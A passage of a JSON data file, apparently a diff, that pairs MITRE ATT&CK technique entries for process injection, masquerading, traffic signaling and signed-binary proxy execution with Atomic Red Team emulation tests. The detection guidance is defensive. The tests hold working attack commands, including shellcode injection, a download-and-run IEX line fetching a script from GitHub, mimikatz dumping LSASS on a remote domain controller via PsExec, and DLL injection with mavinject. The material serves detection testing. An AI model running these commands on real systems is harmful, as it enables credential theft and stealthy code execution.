amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Modification", - "Process: Process Access" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1055.003" - }, - "atomic_tests": [ - { - "name": "Thread Execution Hijacking", - "auto_generated_guid": "578025d5-faa9-4f6d-8390-aae527d503e1", - "description": "This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the \"Atomic Red Team\" caption after one or two seconds. ", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055.003\\bin\\InjectContext.exe", - "cleanup_command": "Stop-Process $notepad.pid", - "name": "powershell" - } - } - ] - }, - "T1036": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Oleg Kolesnikov, Securonix", - "Nick Carr, Mandiant", - "David Lu, Tripwire", - "Felipe Esp\u00f3sito, @Pr0teus", - "Elastic", - "Bartosz Jerzman" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", - "created": "2017-05-31T21:30:38.511Z", - "x_mitre_version": "1.4", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1036", - "url": "https://attack.mitre.org/techniques/T1036" - }, - { - "source_name": "Twitter ItsReallyNick Masquerading Update", - "url": "https://twitter.com/ItsReallyNick/status/1055321652777619457", - "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved April 22, 2019." - }, - { - "source_name": "Elastic Masquerade Ball", - "url": "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", - "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016." - }, - { - "source_name": "LOLBAS Main Site", - "url": "https://lolbas-project.github.io/", - "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020." - }, - { - "url": "https://capec.mitre.org/data/definitions/177.html", - "source_name": "capec", - "external_id": "CAPEC-177" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", - "modified": "2022-05-05T04:56:08.978Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Masquerading", - "x_mitre_detection": "Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.\n\nIf file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\n\nLook for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters\"\\u202E\", \"[U+202E]\", and \"%E2%80%AE\u201d.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Scheduled Job: Scheduled Job Metadata", - "Service: Service Creation", - "File: File Modification", - "Service: Service Metadata", - "Command: Command Execution", - "Process: Process Metadata", - "File: File Metadata", - "Image: Image Metadata", - "Scheduled Job: Scheduled Job Modification" - ], - "x_mitre_defense_bypassed": [ - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1036" - }, - "atomic_tests": [ - { - "name": "System File Copied to Unusual Location", - "auto_generated_guid": "51005ac7-52e2-45e0-bdab-d17c6d4916cd", - "description": "It may be suspicious seeing a file copy of an EXE in System32 or SysWOW64 to a non-system directory or executing from a non-system directory.", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "copy-item \"$env:windir\\System32\\cmd.exe\" -destination \"$env:allusersprofile\\cmd.exe\"\nstart-process \"$env:allusersprofile\\cmd.exe\"\nsleep -s 5 \nstop-process -name \"cmd\" | out-null", - "cleanup_command": "remove-item \"$env:allusersprofile\\cmd.exe\" -force -erroraction silentlycontinue", - "name": "powershell" - } - }, - { - "name": "Malware Masquerading and Execution from Zip File", - "auto_generated_guid": "4449c89b-ec82-43a4-89c1-91e2f1abeecc", - "description": "When the file is unzipped and the README.cmd file opened, it executes and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique [as reported here](https://twitter.com/ffforward/status/1481672378639912960)", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "url": { - "description": "Location of zip file", - "type": "url", - "default": "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036/bin/T1036.zip" - } - }, - "dependencies": [ - { - "description": "Zip file must be present.", - "prereq_command": "if (Test-Path $env:userprofile\\Downloads\\T1036.zip) {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest -OutFile \"$env:userprofile\\Downloads\\T1036.zip\" #{url}\n" - } - ], - "executor": { - "command": "Expand-Archive -Path $env:userprofile\\Downloads\\T1036.zip -DestinationPath $env:userprofile\\Downloads\\T1036 -Force\ncd $env:userprofile\\Downloads\\T1036\ncmd /c $env:userprofile\\Downloads\\T1036\\README.cmd >$null 2>$null", - "cleanup_command": "taskkill /IM Calculator.exe /f >$null 2>$null\nRemove-Item $env:userprofile\\Downloads\\T1036 -recurse -ErrorAction Ignore", - "name": "powershell" - } - } - ] - }, - "T1055": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Anastasios Pingios", - "Christiaan Beek, @ChristiaanBeek", - "Ryan Becwar" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "type": "attack-pattern", - "created": "2017-05-31T21:30:47.843Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055", - "url": "https://attack.mitre.org/techniques/T1055" - }, - { - "external_id": "CAPEC-640", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/640.html" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", - "source_name": "ArtOfMemoryForensics" - }, - { - "url": "https://www.gnu.org/software/acct/", - "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", - "source_name": "GNU Acct" - }, - { - "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", - "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", - "source_name": "RHEL auditd" - }, - { - "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", - "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", - "source_name": "Chokepoint preload rootkits" - }, - { - "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon", - "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", - "source_name": "Microsoft Sysmon v6 May 2017" - } - ], - "modified": "2022-03-08T20:59:21.118Z", - "name": "Process Injection", - "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Module: Module Load", - "File: File Modification", - "File: File Metadata", - "Process: Process Modification", - "Process: OS API Execution", - "Process: Process Access" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "identifier": "T1055" - }, - "atomic_tests": [ - { - "name": "Shellcode execution via VBA", - "auto_generated_guid": "1c91e740-1729-4329-b779-feba6e71d048", - "description": "This module injects shellcode into a newly created process and executes. By default the shellcode is created,\nwith Metasploit, for use on x86-64 Windows 10 machines.\n\nNote: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office\nis required.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "txt_path": { - "description": "Path to file containing VBA macro to run", - "type": "path", - "default": "PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The 64-bit version of Microsoft Office must be installed\n", - "prereq_command": "try {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n" - }, - { - "description": "#{txt_path} must exist on disk at specified location\n", - "prereq_command": "if (Test-Path #{txt_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{txt_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt\" -OutFile \"#{txt_path}\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"#{txt_path}\" -officeProduct \"Word\" -sub \"Execute\"\n", - "name": "powershell" - } - }, - { - "name": "Remote Process Injection in LSASS via mimikatz", - "auto_generated_guid": "3203ad24-168e-4bec-be36-f79b13ef8a83", - "description": "Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).\nEspecially useful against domain controllers in Active Directory environments.\nIt must be executed in the context of a user who is privileged on remote `machine`.\n\nThe effect of `/inject` is explained in \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "machine": { - "description": "machine to target (via psexec)", - "type": "string", - "default": "DC1" - }, - "mimikatz_path": { - "description": "Mimikatz windows executable", - "type": "path", - "default": "%tmp%\\mimikatz\\x64\\mimikatz.exe" - }, - "psexec_path": { - "description": "Path to PsExec", - "type": "string", - "default": "C:\\PSTools\\PsExec.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n", - "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" - }, - { - "description": "PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n", - "prereq_command": "if (Test-Path \"#{psexec_path}\") { exit 0} else { exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"#{psexec_path}\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"#{psexec_path}\" -Force\n" - } - ], - "executor": { - "command": "#{psexec_path} /accepteula \\\\#{machine} -c #{mimikatz_path} \"lsadump::lsa /inject /id:500\" \"exit\"\n", - "name": "command_prompt", - "elevation_required": false - } - }, - { - "name": "Section View Injection", - "auto_generated_guid": "c6952f41-6cf0-450a-b352-2ca8dae7c178", - "description": "This test creates a section object in the local process followed by a local section view.\nThe shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. \nA thread is then created in the target process, using the remote section view as start address.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\n", - "cleanup_command": "Stop-Process $notepad.pid", - "name": "powershell" - } - } - ] - }, - "T1205": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Tony Lee", - "Josh Day, Gigamon" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--451a9977-d255-43c9-b431-66de80130c8c", - "created": "2018-04-18T17:59:24.739Z", - "x_mitre_version": "2.3", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1205", - "url": "https://attack.mitre.org/techniques/T1205" - }, - { - "source_name": "Bleeping Computer - Ryuk WoL", - "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", - "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021." - }, - { - "source_name": "AMD Magic Packet", - "url": "https://www.amd.com/system/files/TechDocs/20213.pdf", - "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021." - }, - { - "source_name": "Mandiant - Synful Knock", - "url": "https://www.mandiant.com/resources/synful-knock-acis", - "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved October 19, 2020." - }, - { - "source_name": "Cisco Synful Knock Evolution", - "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices", - "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020." - }, - { - "source_name": "Hartrell cd00r 2002", - "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631", - "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018." - }, - { - "source_name": "Cisco Blog Legacy Device Attacks", - "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", - "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020." - }, - { - "source_name": "GitLab WakeOnLAN", - "url": "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN", - "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)", - "modified": "2022-04-19T19:52:50.774Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Traffic Signaling", - "x_mitre_detection": "Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.\n\nThe Wake-on-LAN magic packet consists of 6 bytes of FF followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Network Traffic: Network Traffic Flow", - "Network Traffic: Network Traffic Content", - "Network Traffic: Network Connection Creation" - ], - "x_mitre_defense_bypassed": [ - "Defensive network service scanning" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1218": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Nishan Maharjan, @loki248", - "Hans Christoffer Gaardl\u00f8s", - "Praetorian", - "Wes Hurd" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", - "created": "2018-04-18T17:59:24.739Z", - "x_mitre_version": "3.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1218", - "url": "https://attack.mitre.org/techniques/T1218" - }, - { - "source_name": "GTFO split", - "url": "https://gtfobins.github.io/gtfobins/split/", - "description": "GTFOBins. (2020, November 13). split. Retrieved April 18, 2022." - }, - { - "source_name": "LOLBAS Project", - "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria", - "description": "Oddvar Moe et al. (2022, February). Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022." - }, - { - "source_name": "split man page", - "url": "https://man7.org/linux/man-pages/man1/split.1.html", - "description": "Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) \u2014 Linux manual page. Retrieved March 25, 2022." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)", - "modified": "2022-04-18T14:52:08.678Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Signed Binary Proxy Execution", - "x_mitre_detection": "Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "File: File Creation", - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution", - "Process: OS API Execution", - "Module: Module Load", - "Process: Process Creation", - "Network Traffic: Network Connection Creation" - ], - "x_mitre_defense_bypassed": [ - "Anti-virus", - "Application control", - "Digital Certificate Validation" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1218" - }, - "atomic_tests": [ - { - "name": "mavinject - Inject DLL into running process", - "auto_generated_guid": "c426dacf-575d-4937-8611-a148a86a5e61", - "description": "Injects arbitrary DLL into running process specified by process ID. Requires Windows 10.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "process_id": { - "description": "PID of process receiving injection", - "type": "string", - "default": "1000" - }, - "dll_payload": { - "description": "DLL to inject", - "type": "path", - "default": "PathToAtomicsFolder\\T1218\\src\\x64\\T1218.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "T1218.dll must exist on disk at specified location (#{dll_payload})\n", - "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll\" -OutFile \"#{dll_payload}\"\n" - } - ], - "executor": { - "command": "mavinject.exe #{process_id} /INJECTRUNNING #{dll_payload}\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "Register-CimProvider - Execute evil dll", - "auto_generated_guid": "ad2c17ed-f626-4061-b21e-b9804a6f3655", - "description": "Execute arbitrary dll. Requires at least Windows 8/2012. Also note this dll can be served up via SMB\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "dll_payload": { - "description": "DLL to execute", - "type": "path", - "default": "PathToAtomicsFolder\\T1218\\src\\Win32\\T1218-2.dll" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "T1218-2.dll must exist on disk at specified location (#{dll_payload})\n", - "prereq_command": "if (Test-Path #{dll_payload}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{dll_payload}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll\" -OutFile \"#{dll_payload}\"\n" - } - ], - "executor": { - "command": "C:\\Windows\\SysWow64\\Register-CimProvider.exe -Path #{dll_payload}\n", - "name": "command_prompt" - } - }, - { - "name": "InfDefaultInstall.exe .inf Execution", - "auto_generated_guid": "54ad7d5a-a1b5-472c-b6c4-f8090fb2daef", - "description": "Test execution of a .inf using InfDefaultInstall.exe\n\nReference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "inf_to_execute": { - "description": "Local location of inf file", - "type": "string", - "default": "PathToAtomicsFolder\\T1218\\src\\Infdefaultinstall.inf" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "INF file must exist on disk at specified location (#{inf_to_execute})\n", - "prereq_command": "if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf\" -OutFile \"#{inf_to_execute}\"\n" - } - ], - "executor": { - "command": "InfDefaultInstall.exe #{inf_to_execute}\n", - "name": "command_prompt" - } - }, - { - "name": "ProtocolHandler.exe Downloaded a Suspicious File", - "auto_generated_guid": "db020456-125b-4c8b-a4a7-487df8afb5a2", - "description": "Emulates attack via documents through protocol handler in Microsoft Office. On successful execution you should see Microsoft Word launch a blank file.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "remote_url": { - "description": "url to document", - "type": "url", - "default": "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Microsoft Word must be installed\n", - "prereq_command": "try {\n $wdApp = New-Object -COMObject \"Word.Application\"\n Stop-Process -Name \"winword\"\n exit 0 } catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft Word manually to meet this requirement\"\n" - } - ], - "executor": { - "name": "command_prompt", - "elevation_required": false, - "command": "FOR /F \"tokens=2*\" %a in ('reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\Winword.exe\" /V PATH') do set microsoft_wordpath=%b\ncall \"%microsoft_wordpath%\\protocolhandler.exe\" \"ms-word:nft|u|#{remote_url}\"\n" - } - }, - { - "name": "Microsoft.Workflow.Compiler.exe Payload Execution", - "auto_generated_guid": "7cbb0f26-a4c1-4f77-b180-a009aa05637e", - "description": "Emulates attack with Microsoft.Workflow.Compiler.exe running a .Net assembly that launches calc.exe\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "xml_payload": { - "description": "XML to execution", - "type": "path", - "default": "PathToAtomicsFolder\\T1218\\src\\T1218.xml" - }, - "mwcpath": { - "description": "Default location of Microsoft.Workflow.Compiler.exe", - "type": "path", - "default": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319" - 